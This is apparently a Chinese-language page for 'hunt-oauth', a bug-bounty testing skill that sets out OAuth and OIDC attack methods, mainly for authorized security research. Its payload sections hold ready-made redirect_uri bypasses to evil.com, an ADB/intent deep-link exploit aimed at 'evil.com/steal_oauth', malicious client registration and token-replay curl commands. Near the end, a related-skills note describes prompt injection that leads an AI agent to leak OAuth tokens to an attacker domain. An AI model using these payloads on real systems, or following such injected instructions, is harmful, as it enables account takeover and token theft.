关于 hunt-oauth
hunt-oauth 是供安全研究人员检查 Web 和移动应用 OAuth、OpenID Connect 流程的测试技能。它梳理侦察步骤,并覆盖重定向校验、state、nonce、令牌处理及深层链接。
主要功能
- 01发现 OAuth 入口
- 02梳理授权流程
- 03测试重定向 URI 校验
- 04检查 state 与 nonce
- 05测试移动端深层链接
- 06OIDC 与令牌滥用模式
适用场景
- 01审查 OAuth 回调与重定向处理
- 02测试授权流程中的 CSRF 防护
- 03评估移动应用深层链接处理器
- 04检查令牌泄露与端点控制
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-oauth安装后在 Claude Code 中输入/hunt-oauth确认已加载。
详细介绍
皇冠宝藏目标
OAuth 漏洞是 Web 安全中价值最高的漏洞类型之一,因为它们会直接导致账户接管、会话窃取和身份验证绕过——这是漏洞赏金计划最愿意付费的三类问题。
价值最高的目标:
- 消费者身份提供商(Google、Facebook、PayPal、Apple SSO 集成)——任何一处失陷都会波及所有依赖方
- 带有自定义深层链接 OAuth 处理程序的移动应用——Android/iOS 意图处理一直以宽松著称
- 多租户 SaaS 平台(GitLab、Reddit 级别的应用),一个 OAuth 漏洞就会影响数百万账户
- 使用联合登录的游戏/娱乐平台(Rockstar、Oculus)——安全团队往往不够成熟
- 企业 SSO 连接器——关键基础设施,严重漏洞赏金金额高
最值得关注的资产类型:
- OAuth 授权端点(
/oauth/authorize、/connect/authorize) - 令牌交换端点(
/oauth/token) - 移动端深层链接处理程序(
push_notification_webview、自定义 scheme URI) - 社交登录回调处理程序(
/auth/callback、/oauth/callback)
**常见赏金金额:**根据漏洞赏金计划而定,为 500 至 20,000 美元以上;账户接管漏洞往往能拿到最高赏金。
攻击面信号
值得排查的 URL 模式
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
表明存在 OAuth 的响应头
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
JavaScript 模式(在 JS 包中 grep)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
技术栈信号
- 在
AndroidManifest.xml中使用intent-filter处理http://或自定义 scheme URI 的 Android 应用 - 使用 Doorkeeper、OmniAuth、Devise(Ruby)、Passport.js(Node)、Spring Security OAuth 的应用
- 社交登录按钮(Google、Facebook、Apple)=必定存在 OAuth 攻击面
- 存在
.well-known/openid-configuration=可利用完整的 OIDC 攻击面
分步排查方法
-
枚举所有 OAuth 入口
- 遍历应用,查找
/oauth、/connect、/auth、/login路径 - 检查
.well-known/openid-configuration和.well-known/oauth-authorization-server - 反编译移动端 APK:运行
apktool d app.apk,并搜索redirect_uri、intent://、深层链接方案
- 遍历应用,查找
-
梳理完整的 OAuth 流程
- 捕获授权请求:记录
client_id、redirect_uri、state、nonce、response_type - 捕获回调:记录令牌或授权码会落在哪里,以及哪些逻辑会验证 state/nonce
- 捕获授权请求:记录
-
测试
redirect_uri验证(命中率最高)- 尝试精确主机名绕过:
redirect_uri=https://legit.com.evil.com - 尝试路径遍历:
redirect_uri=https://legit.com/callback/../../../evil - 先测试合法域名上的开放重定向,再将其串联到 OAuth 流程中
- 尝试参数污染:
redirect_uri=https://legit.com&redirect_uri=https://evil.com - 尝试编码字符:
%2F、%40、%23,混淆解析器
- 尝试精确主机名绕过:
-
测试
state参数(CSRF)- 完全移除
state——流程是否仍能完成? - 在不同会话中重复使用固定的
state值 - 检查
state是在服务端验证,还是仅在客户端验证
- 完全移除
-
测试
nonce参数(重放/绕过)- 从一个流程中捕获 nonce,并尝试在另一个流程中重放
- 检查令牌交换后是否会验证 nonce
- 测试能否通过 referrer 泄漏提取 nonce(第 9 步)
-
测试认证步骤是否完整
- 对于多步骤认证(例如,电子邮件验证 + OAuth):能否直接跳转到
/oauth/token? - 检查令牌端点是否接受部分认证状态(电子邮件未验证)
- 对于多步骤认证(例如,电子邮件验证 + OAuth):能否直接跳转到
-
排查 referrer 泄漏
- OAuth 回调后,如果 URL 片段或查询参数中包含令牌,检查页面上的资源(图片、脚本、iframe)是否会收到完整的
Referer标头 - 重点检查认证后触发的语言切换器、分析请求和社交分享按钮
- OAuth 回调后,如果 URL 片段或查询参数中包含令牌,检查页面上的资源(图片、脚本、iframe)是否会收到完整的
-
测试移动端深层链接
- 对于 Android:构造恶意 intent URI,将 OAuth WebView 重定向到攻击者控制的网址
- 检查深层链接处理器在加载前是否验证来源/主机
- 测试接受任意网址的
push_notification_webview模式
-
测试配置错误的客户端凭证
- 检查
client_secret是否出现在 JS 包或 APK 资源中 - 测试令牌端点在搭配泄露的
client_id/client_secret时,是否接受任意redirect_uri值
- 检查
-
验证并记录
- 确认未验证 state → 造成 CSRF,导致账号关联
- 确认令牌落入攻击者域名 → 造成会话窃取
- 确认可跳过电子邮件验证 → 造成认证绕过
- 报告前执行 Gate 0 检查
载荷与检测模式
redirect_uri 绕过载荷
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://[email protected]
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%[email protected]
https://legit.com%252F..%252F..evil.com
State CSRF 测试
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
通过 Referrer 提取 Nonce
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
移动端深层链接漏洞利用(Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
令牌端点认证绕过
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "[email protected]" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
用于侦察的 Grep 模式
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
OIDC 发现与动态注册滥用
# Enumerate OIDC endpoints (esp. registration_endpoint)
curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'
# If registration_endpoint is open, register a malicious client with attacker redirect_uri
curl -X POST https://idp/connect/register \
-H "Content-Type: application/json" \
-d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
跨客户端令牌混淆
# Mint token for client A, attempt replay on client B's API
TOKEN=$(curl -s https://idp/oauth/token \
-d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)
# Test if client B's API accepts the token (no audience validation)
curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
OIDC prompt=none 静默重新认证测试
# Test whether adding prompt=none to authorize request yields a token without user interaction
# Signals session fixation / silent auth abuse potential
curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
常见根本原因
-
redirect_uri验证薄弱 — 开发者按前缀(startsWith)而非精确匹配来加入白名单,或将整个域名而非特定路径加入白名单。相同域名下的子路径开放重定向,随后便会成为完整的令牌窃取手段。 -
缺少或未验证
state参数 — 开发者照着省略 CSRF 防护的基础教程实现 OAuth,或者只在客户端 JavaScript 中验证 state(很容易绕过)。 -
交换后未验证 nonce — 请求中生成并发送了 nonce,但在授权码交换后从未根据 ID 令牌进行验证,因此可能遭受重放攻击。
-
未在服务端强制执行身份验证步骤顺序 — 团队实现多步骤身份验证(注册 → 邮件验证 → OAuth 授权),但未在服务端强制执行步骤顺序。令牌端点不会检查前置步骤是否已完成。
-
回调页面 URL 中包含令牌/授权码,且会发起出站请求 — 开发者将用户引导至查询字符串中包含令牌的回调页面,随后该页面发起分析、社交分享或 CDN 请求,通过
Referer标头泄露完整 URL。 -
移动端深层链接处理程序信任所有输入 URL — Android/iOS 开发者为推送通知流程构建 WebView 封装程序,却不验证加载的 URL 是否属于自己的域名。
-
OAuth 应用注册配置错误 — 开发者注册通配符重定向 URI(
https://*.example.com/*),或在开发期间完全不限制重定向 URI,并忘记在生产环境中收紧配置。 -
客户端密钥嵌入移动应用 — 将机密客户端凭据当作公开信息处理,使拥有该密钥的攻击者能够使用任意重定向 URI 发起令牌请求。
-
不同身份提供方之间的 OIDC
sub声明存在歧义 — 接受多个 IdP(Google、Microsoft、Apple)登录的应用,可能只用sub标识账户,而不区分 IdP。如果两个 IdP 为不同用户发出相同的sub,其中一个 IdP 的攻击者就能劫持关联到另一个 IdP 的账户。
绕过技术
防御方:对 redirect_uri 进行精确匹配的白名单校验
绕过: 找到白名单域名自身存在的开放重定向,然后将该 URL 用作 redirect_uri。OAuth 服务端验证通过已注册的域名 ✓,但开放重定向会将授权码/令牌转发给攻击者。
redirect_uri=https://legit.com/logout?next=https://evil.com
防御方:要求 state 参数
绕过: 检查是否只验证 state 的长度/格式,却未验证其是否绑定到会话。使用固定且可预测的 state 值。另外还要检查是否强制执行 PKCE——如果没有,仅靠 state 检查不足以防止授权码注入。
防御方:仅通过片段传递令牌(response_type=token)
绕过: 浏览器不会在 Referer 中发送片段,但回调页面上的 JavaScript 可能会读取 window.location.hash,并将其传递给分析服务,或通过 postMessage 发送给父框架。拦截 postMessage 处理程序。
防御方:移动端深层链接的主机验证
绕过: 尝试 URL 编码(https%3A//evil.com)、双重编码、Unicode 规范化或空字节,迷惑验证器,同时让底层 WebView 仍能正常导航。
防御方:短时有效的授权码
绕过: 即使授权码有效期很短,Referer 泄露和开放重定向依然有效,只要攻击者拥有快速接收器即可。对于 CSRF,受害者会完成整个流程,因此时间并非那么关键。
防御方:强制执行 PKCE
绕过: 检查是否对所有客户端都要求 PKCE,还是仅针对特定客户端。旧版客户端或移动应用可能被豁免。尝试省略 code_challenge——如果服务端仍然发放令牌,则说明未强制执行 PKCE。
防御方:nonce 验证
绕过: 检查是否只在客户端 JavaScript 中验证 nonce。如果签名未经过验证,可拦截并修改 ID 令牌中的 nonce 声明(这种情况较少见,但在配置错误的实现中确实出现过)。还要测试 nonce 是否只在初始请求中验证,而在令牌刷新时不验证。
Gate 0 验证
撰写报告前,请回答以下三个问题:
1. 攻击者现在能做什么? 请具体说明:“我可以向受害者发送一个精心构造的 URL → 受害者点击 → 其 OAuth 代码重定向到我的服务器 → 我用该代码换取访问令牌 → 我现在已登录为受害者。”如果你无法完成整个攻击链,这个问题可能仅属于信息性问题。
2. 受害者会失去什么? 最低标准:受害者失去已通过身份验证的会话(账户访问权限)。更严重的情况:受害者失去关联账户、支付方式或私人数据。如果攻击者只能获知受害者的身份,却无法获得访问权限,严重性会显著降低。
3. 能否在 10 分钟内从头复现? 使用一个没有任何历史状态的全新浏览器或设备。如果你能仅凭书面步骤,在 10 分钟内从“未通过身份验证”操作到“以受害者身份通过身份验证”,那么这个漏洞确实存在,值得报告。如果漏洞需要碰巧的时机、超出“点击链接”之外的特定受害者行为,或特定网络位置,请明确记录这些依赖条件。
真实影响示例
场景 1:通过推送通知深层链接窃取移动会话(PayPal/Venmo 模式)
攻击者发现,Android 应用的推送通知处理程序会接受深层链接中的任意 url 参数,且不会验证主机。攻击者利用应用的自定义 scheme,制作一个指向自己服务器的恶意 URL。将此 URL 发送给受害者后(通过社会工程手段或被入侵的推送通知渠道),应用会打开一个 WebView 并导航到攻击者的服务器;随后,该服务器发起 OAuth 流程,并在 OAuth 令牌返回至现由攻击者控制的“回调”时将其捕获。结果:一个影响数百万用户的支付平台遭遇完整账户接管。业务影响:未经授权的资金转账、关联支付方式及交易记录泄露。
场景 2:通过直接访问令牌端点绕过电子邮件验证(GitLab 模式)
开发者使用未经验证的电子邮件地址创建账户。通常,平台会在电子邮件通过验证前限制完整访问。然而,/oauth/token 端点不会检查验证状态,只验证凭据。攻击者使用有效(但未经验证的)凭据直接调用 /oauth/token,并获得权限范围完整的 OAuth 令牌。该令牌可以通过所有下游授权检查。结果:身份验证被完全绕过,使用未经验证或一次性电子邮件地址的账户也能获得平台的完整访问权限,电子邮件验证这一安全控制形同虚设。在 GitLab 这类平台上大规模发生时,会影响 CI/CD 工作流访问、仓库访问及 API 使用。
场景 3:切换语言时通过 Referer 标头窃取 OAuth 令牌(Rockstar Games 模式)
Facebook 登录的 OAuth 回调页面会将用户带到一个 URL,其中查询字符串包含 access_token。页面上有一个语言切换器组件,会发送 GET 请求来更改语言区域偏好。此 GET 请求会在 Referer 标头中包含完整的页面 URL,其中含有 Facebook 访问令牌。能够读取服务器日志的攻击者(或入侵语言切换端点的攻击者,或能够访问像素的恶意广告商)可以从 Referer 日志中窃取 Facebook OAuth 令牌。结果:攻击者可以登录受害者的 Facebook 账户,以及任何接受该 Facebook 令牌的其他服务,从而造成跨平台账户接管。业务影响:违反 GDPR/隐私法规、跨服务账户被入侵,以及可能承担监管责任。
已公开报告引用(补充 +9 项,2020-2024 年)
以下真实且经过验证的漏洞赏金/协调披露案例,将这项技能扩展至最初的 10 个内部参考案例之外。每个案例都属于不同的 OAuth 子类型,并且引用的分析文章中记录了可用的 PoC。
11. Semrush — IDN 同形异义重定向 redirect_uri 绕过 (H1 #861940)
- 子类:通过 Unicode 易混淆主机名(同形异义)绕过 redirect_uri
- Payload:redirect_uri=https://oauth.šemrush.com/cb(punycode xn--emrush-9jb.com)——通过了验证器的仅限拉丁字符字符串检查
- 根本原因:服务器将 redirect_uri 主机名作为 ASCII 字符串进行相等性验证,但在比较前未将 Unicode 规范化为易混淆字符再转换为 punycode
- 披露:2020 年,公开漏洞赏金(金额未披露);发现者 Yassine Aboukir
-
Bohemia Interactive —
redirect_uri过滤器绕过(BiStudio) (H1 #405100)- 子类:绕过
redirect_uri验证 → OAuth 令牌泄露 - Payload:构造
redirect_uri,绕过正则表达式/前缀过滤器,将令牌发送到攻击者主机;报告者将此绕过与完整的令牌泄露 PoC 串联起来 - 根本原因:
redirect_uri过滤器较弱,接受了攻击者控制的主机,同时仍匹配预期模式 - 年份:2018 年披露;至今仍是后续报告中常引用的正则表达式
redirect_uri绕过典型案例
- 子类:绕过
-
pixiv — OAuth
redirect_uri中的路径遍历 (H1 #1861974)- 子类:通过路径遍历绕过
redirect_uri→ 授权码泄露 - Payload:
redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb——服务器在验证后才进行规范化 - 根本原因:验证器检查的是原始字符串;下游 HTTP/浏览器处理了
../路径遍历,并将授权码发送到攻击者路径 - 披露:2023 年,$2,000 漏洞赏金,244 个赞同票——已确认支付
- 子类:通过路径遍历绕过
-
Slack — OAuth2
redirect_uri绕过(域名后缀) (H1 #2575)- 子类:通过域名后缀/子域名混淆绕过
redirect_uri验证 - Payload:使用与已注册主机名后缀匹配的域名构造
redirect_uri(例如slack.com.attacker.com),绕过了仅检查后缀的验证 - 根本原因:使用
endsWith()/后缀匹配,而非严格的主机名相等性检查 - 披露:2013 年(这一奠基性案例至今仍见于现代 OAuth 培训资料)——Slack 公开漏洞赏金
- 子类:通过域名后缀/子域名混淆绕过
-
Booking.com(Facebook 社交登录) (Salt Labs writeup)
- 子类:三步攻击链——白名单域名上的开放重定向 +
redirect_uri绕过 +response_type替换 → 窃取 Facebook OAuth 授权码/令牌 → ATO - Payload:授权 URL 中包含
redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb,并切换response_type,通过片段泄露令牌 - 根本原因:验证器信任
account.booking.com下的任意路径;该主机上的开放重定向会将授权码转发给攻击者 - 披露:2023 年 3 月——协调披露,未公开漏洞赏金金额(约 5 亿 MAU 受影响)
- 子类:三步攻击链——白名单域名上的开放重定向 +
-
Expo.io(
expo-auth-session)— CVE-2023-28131 (Salt Labs writeup)- 子类:范围扩展/未验证的
returnUrl参数 → 跨应用窃取 OAuth 授权码(影响所有使用 expo-auth-session 社交登录的消费者) - Payload:攻击者向 OAuth 代理传入
returnUrl=https://attacker.tld→ Expo 盲目将 Facebook/Google/Apple/Twitter 授权码转发给攻击者 - 根本原因:框架级 OAuth 代理在转发社交身份提供商的回调前,未验证
returnUrl主机名 - 披露:2023 年 5 月;CVSS 9.6;于 2023 年 2 月通过热修复修复,并于 2023 年 2 月 26 日前弃用
- 子类:范围扩展/未验证的
-
Microsoft Azure AD 多租户 — “nOAuth” (Descope 文章)
- 子类型:通过未经验证、可变的
email声明跨 IdP 接管账户(相当于“Pass-The-Token”) - 攻击载荷:攻击者将 Azure AD 管理员个人资料中的
mail属性设置为受害者的地址 → 在按电子邮件声明识别用户的依赖方点击“使用 Microsoft 登录” → 立即接管账户 - 根本原因:Microsoft 的
email声明可变且未经验证;依赖方将其视为主要标识符 - 披露:2023 年 4 月 11 日报告,2023 年 6 月 20 日修复(缓解措施 + 新增
xms_edov声明)
- 子类型:通过未经验证、可变的
-
Grammarly / Vidio / Bukalapak — 社交登录“Pass-The-Token” (Salt Labs 文章)
- 子类型:未验证 Facebook access_token 的受众 /
aud→ 跨客户端重放令牌 → 接管账户 - 攻击载荷:攻击者获取为
attacker.app签发的 Facebook 令牌 → 将该令牌重放到 Grammarly/Vidio/Bukalapak 登录 API → 服务器通过/me获取 Facebook 用户,找到受害者的电子邮件,并签发受害者的会话 - 根本原因:依赖方使用攻击者签发的令牌调用 Facebook
/me,却从不验证该令牌的app_id是否属于该依赖方 - 披露:2023 年 10 月 — 协调披露,三个网站合计约 10 亿账户面临风险
- 子类型:未验证 Facebook access_token 的受众 /
-
Zoom — OAuth“脏舞”串联式账户接管 (Harel Security 文章)
- 子类型:替换
response_type=token+ 宽松的postMessage来源检查 + Cookie 投放 → 通过 web_message 响应模式泄露授权码 → 接管账户 + 劫持摄像头/麦克风 - 攻击载荷:攻击者页面打开 Zoom OAuth,并使用
response_type=code&response_mode=web_message;由于窗口监听器接受任何*.zoom.us来源,因此会拦截生成的postMessage→ 用授权码换取会话 - 根本原因:宽松的 postMessage 来源检查、缺少对
state的 CSRF 绑定,以及response_mode=web_message会将授权码返回给父窗口且未强制精确匹配来源,这些问题共同导致漏洞 - 披露:2023 年 10 月报告,2024 年 1 月修复,15,000 美元漏洞赏金(Sudi / BrunoZero / H4R3L)
- 子类型:替换
-
Detectify Labs — “Dirty Dancing” 多供应商 OAuth 令牌泄露 (Detectify 文章,F. Rosén)
- 子类型:响应类型切换 + 无效状态值处理缺陷 + 第三方 JS 小工具链 → 无需 XSS 即可泄露 OAuth 授权码 / 令牌
- 攻击载荷:攻击者在仅验证
code的端点上强制使用response_type=token;再结合宽松的 postMessage 监听器和回调页面上的 URL 存储小工具,通过跨源读取窃取令牌 - 根本原因:OAuth 服务器容忍 response_type 降级 / 替换;回调页面通过宽松的 postMessage 接收器泄露
window.location - 披露:2022 年 7 月 — 涉及多家供应商(Apple、Microsoft、Slack 等);PortSwigger 2022 年十大 Web 黑客技术第 1 名
浏览器解析与服务器解析——redirect_uri 前缀匹配绕过形式
服务器端对 redirect_uri 的前缀匹配漏洞是让 OAuth 代码落入攻击者手中的必要条件,但并非充分条件。服务器检查通过只是一个关卡;浏览器是否实际导航到跨源地址则是另一个关卡。两者表现不同。在将发现写成 ATO 攻击链之前,务必确认这两个条件都满足。
服务器 redirect_uri 验证器 | 攻击 URL | 服务器 startswith() | 浏览器实际主机 | 可利用? |
|---|---|---|---|---|
前缀 = https://acme.example(无斜杠) | https://[email protected]/cb | 通过 | evil.com(根据 WHATWG URL 解析规则,@ 是用户信息分隔符,位于 :// 后的第一个 / 之前) | 是 |
前缀 = https://acme.example/(尾部斜杠) | https://acme.example/@evil.com/cb | 通过 | acme.example(此时 @ 位于第一个 / 之后,因此 WHATWG 会将其解析为路径字符) | 否——浏览器仍停留在 acme.example |
前缀 = https://acme.example(子串匹配) | https://acme.example.evil.com/cb | 通过 | acme.example.evil.com(子域名扩展——.evil.com 扩展了主机名) | 是 |
前缀 = https://acme.example/(尾部斜杠,服务器会规范化 ..) | https://acme.example/../../@evil.com/cb | 原始 startswith 检查通过 | acme.example(服务器会规范化路径;即使服务器没有规范化,浏览器也会规范化路径) | 通常否 |
前缀 = https://acme.example/(仅适用于 Chromium) | https://acme.example/\@evil.com/cb | 通过 | 主机取决于具体情况——Chromium 会将 \ 转换为 /,因此 URL 会变为 https://acme.example//@evil.com/cb,并仍停留在 acme.example | 通常否 |
**操作规则:**WHATWG URL 解析器(自 2018 年起由所有现代浏览器使用)仅在 authority 部分解析用户信息,即 :// 后的第一个 / 之前。路径开始后,@ 就只是一个字符。服务器端的字符串 startswith 检查无法模拟这一行为,因此可能会放行浏览器随后仍会路由到合法主机的 URL。
**在将 OAuth 发现写成 ATO 攻击链之前,务必使用无头浏览器(Playwright / Puppeteer / 真实浏览器)测试最终导航。**服务器端接受,但浏览器仍停留在合法主机上 = 不构成 ATO。已在 docs/verification/phase3-playwright-browser-execution.md Test 29 中进行实时验证。
相关技能与攻击链
hunt-subdomain— 影响最大的单一 OAuth 攻击链。攻击链原语:OAuthredirect_uri验证器接受任意*.target.com子域名 + 侦察发现dev-staging.target.com的 CNAME 指向已取消配置的 Heroku/S3/Azure 应用 → 接管该悬空子域名 → 在其上托管 OAuth 回调接收器 → 构造/oauth/authorize?redirect_uri=https://dev-staging.target.com/cb→ 受害者点击 → 授权码落入攻击者接管的子域名 → 兑换令牌 → ATO。redirect_uri白名单验证之所以通过,是因为该子域名“合法地”由 target.com 控制。hunt-ato— OAuth state-CSRF 是通过账户关联实施 ATO 的典型原语。攻击链原语:state参数缺失或未绑定到会话 + 受害者已登录 target.com + 攻击者从自己的账户发起 OAuth 流程,在兑换前截获code+ 构造包含攻击者授权码的回调 URL → 诱使受害者访问 → 受害者的 target.com 会话现已关联到攻击者的 Google/Facebook 身份 → 攻击者通过 Google 登录 → 控制受害者的账户。hunt-llm-ai— 面向 AI Agent(ChatGPT 插件、Claude MCP 服务、智能 Agent 副驾驶)的现代 OAuth 流程沿用 OAuth 2.1 + PKCE。攻击链原语:Agent 式 AI 接受文档中的间接提示词注入所提供的redirect_uri→ 模型构造包含攻击者回调地址的 OAuth 授权 URL → 用户以为这是 Agent 自己的流程,便点击“批准” → 令牌通过工具调用外泄到攻击者域名。hunt-saml— 当 OAuth 架构在 SAML IdP 之上时,IdP 层面的 XSW 就会成为通过 OAuth 实施 ATO 的路径。攻击链原语:SAML SP 在断言验证后颁发 OAuth 令牌 + 对断言实施 XSW 攻击,将NameID改为管理员用户 → SP 颁发携带管理员身份的 OAuth 令牌 → 受 OAuth 权限范围保护的 API 授予管理员访问权限。security-arsenal— 查阅 OAuthredirect_uri绕过表(主机混淆[email protected]、legit.com.evil.com、路径遍历、参数污染、编码斜杠%2F、片段注入#legit.com)以及开放重定向攻击链目录;当精确匹配验证要求你先在白名单域名上找到开放重定向时,这些内容会派上用场。triage-validation— 在将实际不会泄露令牌(只泄露state参数,或回调页面的 URL 中不包含凭据)的 OAuth“开放重定向”判定为 Critical 前,先运行严重性预判关卡。仅泄露 state 属于 Low;若泄露令牌/授权码并成功演示兑换,则属于 Critical。兑换授权码这一步不可省略。